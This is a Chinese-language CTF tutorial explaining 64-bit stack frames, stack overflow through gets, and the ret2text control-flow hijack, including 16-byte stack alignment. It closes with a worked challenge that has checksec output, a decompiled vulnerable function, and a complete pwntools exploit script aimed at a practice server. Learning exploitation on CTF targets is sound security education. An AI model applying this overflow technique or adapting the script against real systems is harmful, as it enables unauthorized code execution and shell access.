攻击原理

栈的基本结构

在程序执行过程中,每个函数调用都会在栈上分配一段内存空间,称为栈帧(Stack Frame)。栈帧的结构如下(以64位系统为例):

1
2
3
4
5
6
7
8
9
10
11
高地址
+------------------+
| 参数区域 | (函数参数,64位前6个参数通过寄存器传递)
+------------------+
| 返回地址 | (saved rip, 8字节) ← 关键:控制流劫持的目标
+------------------+
| 保存的rbp | (saved rbp, 8字节)
+------------------+
| 局部变量 | (缓冲区、局部变量等)
+------------------+
低地址

函数调用与返回机制

当函数被调用时:

  1. call 指令:将下一条指令的地址(返回地址)压入栈中

  2. 函数序言(prologue)

    1
    2
    3
    push rbp        ; 保存旧的rbp
    mov rbp, rsp ; 设置新的栈帧基址
    sub rsp, 0x30 ; 为局部变量分配空间

当函数返回时:

  1. 函数尾声(epilogue)

    1
    2
    3
    mov rsp, rbp    ; 恢复栈指针
    pop rbp ; 恢复旧的rbp
    ret ; 等价于 pop rip,从栈中弹出返回地址并跳转

栈溢出原理

栈溢出是指向栈上的缓冲区写入超过其分配大小的数据,导致覆盖了栈上的其他数据。

危险函数示例:

  • gets(char *s):不检查输入长度,直接读取到缓冲区

  • scanf("%s", buf):不限制输入长度

  • strcpy(dest, src):不检查源字符串长度

当缓冲区溢出时,数据会向高地址方向覆盖,依次覆盖:

  1. 局部变量区域的其他变量

  2. 保存的 rbp(saved rbp)

  3. 返回地址(saved rip) ← 这是攻击的关键点

ret2text 攻击原理

ret2text(Return to Text) 是一种栈溢出利用技术,核心思想是:

  1. 覆盖返回地址:通过栈溢出,将函数返回地址覆盖为目标函数(通常是后门函数或 system("/bin/sh"))的地址

  2. 劫持控制流:当被攻击的函数执行到 ret 指令时:

    • ret 指令等价于 pop rip
    • 从栈中弹出我们覆盖的地址到 rip 寄存器
    • 程序跳转到我们指定的地址执行
  3. 执行目标代码:由于跳转到的是程序中已有的代码段(text段),因此称为 “return to text”

攻击示意图

正常执行流程:

1
2
3
4
5
func() 调用

执行函数体

ret 指令 → 弹出正常返回地址 → 返回调用者

ret2text 攻击流程:

1
2
3
4
5
6
7
8
9
func() 调用

gets() 接收超长输入 → 栈溢出

覆盖返回地址为目标函数地址

ret 指令 → 弹出被覆盖的地址 → 跳转到目标函数

执行目标函数(如 system("/bin/sh"))

为什么需要 ret 指令(栈对齐)

在64位系统中,函数调用时要求栈指针 rsp 必须16字节对齐。如果直接跳转到目标函数,栈可能未对齐,导致程序崩溃。

解决方案:在目标函数地址前先放置一个 ret 指令的地址,这样会先执行一次 pop rip,使栈指针增加8字节,从而满足对齐要求。

1
payload = 填充(offset) + ret_addr + target_func_addr

执行流程:

  1. 覆盖返回地址为 ret_addr

  2. 函数返回时执行 retpop rip),栈指针 +8

  3. 再次执行 ret,弹出 target_func_addr 并跳转

  4. 此时栈已对齐,目标函数正常执行

例题

[玄武杯 2025]ret2text 64

https://www.nssctf.cn/problem/7304
chechsec

1
2
3
4
5
6
[*] '/home/huayi/Desktop/pwnexp/blog_ctf/ret2text/[玄武杯 2025]ret2text 64/ret2text1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

最简单的ret2text, 目标是劫持控制流到hint函数, 漏洞点在于gets函数接收输入造成的栈溢出,其中ret是为了栈平衡。

1
2
3
4
5
6
7
8
9
10
int func()
{
char v1[48]; // [rsp+0h] [rbp-30h] BYREF

puts("Please enter your name");
gets(v1);
printf("OK,%s,Nice to meet you!", v1);
puts("Let's chat next time.");
return puts("Bye!!!");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import sys

context.terminal = ['tmux', 'sp', '-h']
context.update(log_level='debug', os='linux', arch='amd64')

if len(sys.argv) > 1 and sys.argv[1] == "r":
io = remote('node1.anna.nssctf.cn', 28319)
else:
io = process('./ret2text1')

elf = ELF('./ret2text1')

ret_addr = 0x000000000040101a
hint_addr = elf.symbols['hint']
success(f"hint addr = {hex(hint_addr)}")

io.recvuntil(b'Please enter your name\n')
# offset + saved rbp + ret addr + hint addr
payload = b'A'*(0x30+0x8) + p64(ret_addr) + p64(hint_addr)
io.sendline(payload)

io.interactive()

思路总结

ret2text 是最基础的栈溢出利用技术,核心思想是通过栈溢出覆盖返回地址,将程序控制流劫持到程序中已有的代码段(通常是后门函数或目标函数)。

攻击步骤

  1. 检查程序保护机制

    • 使用 checksec 检查程序的保护机制
    • 关键点:需要 No canary(无栈保护)才能进行栈溢出
    • No PIE(无地址随机化)使得函数地址固定,便于利用
  2. 定位漏洞点

    • 寻找危险函数:getsscanfstrcpy 等不检查输入长度的函数
    • 分析栈结构,确定缓冲区大小和偏移量
  3. 计算偏移量

    • 通过 IDA 或 gdb 分析栈布局
    • 偏移量 = 缓冲区大小 + saved rbp(64位为8字节,32位为4字节)
    • 例如:char v1[48][rsp+0h] [rbp-30h],偏移量为 0x30 + 0x8 = 56 字节
  4. 获取目标函数地址

    • 使用 objdumpreadelf 或 pwntools 的 elf.symbols['函数名'] 获取
    • 确保程序没有 PIE 保护,地址固定
  5. 构造 payload

    • 64位系统需要注意栈对齐问题(16字节对齐)
    • 如果目标函数地址不满足对齐要求,可能需要先跳转到 ret 指令(pop rip)进行栈对齐
    • payload 结构:填充字符 * 偏移量 + ret地址(可选)+ 目标函数地址
  6. 发送 payload 并获取 shell

    • 通过栈溢出覆盖返回地址
    • 函数返回时,ret 指令会从栈中弹出我们覆盖的地址并跳转
    • 成功劫持控制流到目标函数

关键要点

  • 栈对齐:64位系统调用函数时要求栈指针 rsp 按16字节对齐,如果直接跳转导致栈未对齐,需要先执行 ret 指令(pop rip)来调整栈指针

  • 偏移量计算:必须精确计算偏移量,否则无法正确覆盖返回地址

  • 保护机制:ret2text 需要程序没有 canary 和 PIE 保护,NX 保护不影响(因为跳转到代码段而非栈)